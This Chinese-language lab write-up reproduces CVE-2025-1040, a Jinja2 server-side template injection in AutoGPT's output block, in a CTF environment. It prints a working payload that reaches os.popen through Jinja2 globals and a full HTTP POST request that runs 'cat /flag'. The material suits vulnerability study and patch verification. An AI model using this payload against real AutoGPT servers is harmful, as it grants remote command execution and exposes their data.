【春秋云境】CVE-2025-1040 AutoGPT服务器端模板注入漏洞复现

靶标介绍

AutoGPT 是一个开源的AI智能体开发部署平台。 受影响版本中,其 AgentOutputBlock 实现中存在漏洞,代码中直接使用了 jinja2.Environment,在处理用户输入的格式字符串时,默认未启用 Jinja2 的沙箱环境,导致恶意输入可以被传递到模板引擎中,攻击者可通过Jinja2 的 os、subprocess 等模块执行系统命令。

靶标访问

发现主页访问报错,一开始以为环境有问题,但发现存在该接口,那就根据此接口发送POST请求。

漏洞复现

漏洞细节和原理可参考此文章AutoGPT SSTI Vulnerability Leading to Remote Code Execution (RCE) in significant-gravitas/autogpt

可以看到对传入的字符串进行render后返回到output中。根据代码修复补丁记录,首先传入template={{1+1}}测试,如下:

发现提示Input should be a valid dictionary or object to extract fields from,于是转换为json继续发送,根据代码构造POC进行验证是否能执行基本的模板注入,如下:

发现可以注入执行命令了,最后构造模板注入payload读取flag:

复制代码
{
  "template": "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read() }}"
}

发送报文如下:

复制代码
POST /render HTTP/1.1
Host: 39.106.48.123:17975
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json

{
  "template": "{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag').read() }}"
}

发送后可以看到成功读取到flag。

参考文章

https://huntr.com/bounties/b74ef75f-61d5-4422-ab15-9550c8b4f185

https://github.com/significant-gravitas/autogpt/commit/6dba31e0215549604bdcc1aed24e3a1714e75ee2

相关推荐
RisingFan5 天前
【春秋云境】CVE-2025-26319 FlowiseAI未授权任意文件写入导致命令执行漏洞复现
漏洞复现·春秋云境·cve-2025–26319
QuantumRedGuestk9 天前
FineCMS 存储型 XSS 漏洞分析与防御建议
xss·漏洞复现·finecms靶场
-曾牛19 天前
域渗透:域控攻击全流程详解(含多种新型漏洞利用)
网络安全·渗透测试·内网渗透·漏洞复现·域渗透·原理解析·域控攻击
LQxdp2 个月前
复现-[Java Puzzle #2 WP] HEAD权限绕过与字符截断CRLF
java·开发语言·漏洞复现·java 代码审计
-曾牛3 个月前
网络安全常见的框架漏洞
安全·web安全·网络安全·渗透测试·文件包含·漏洞复现·框架漏洞
haonuy*6 个月前
Vulnhub Noob靶机复现(附提权)
教程·vulnhub·靶机·漏洞复现·攻略
haonuy*6 个月前
Log4j CVE-2021-44228 漏洞复现详细教程
log4j·教程·漏洞复现·cve-2021-44228
网安INF7 个月前
CVE-2020-1938源码分析与漏洞复现(Tomcat 文件包含/读取)
java·网络·web安全·网络安全·tomcat·漏洞复现
bl4ckpe4ch9 个月前
【漏洞复现】Struts2系列
网络安全·漏洞复现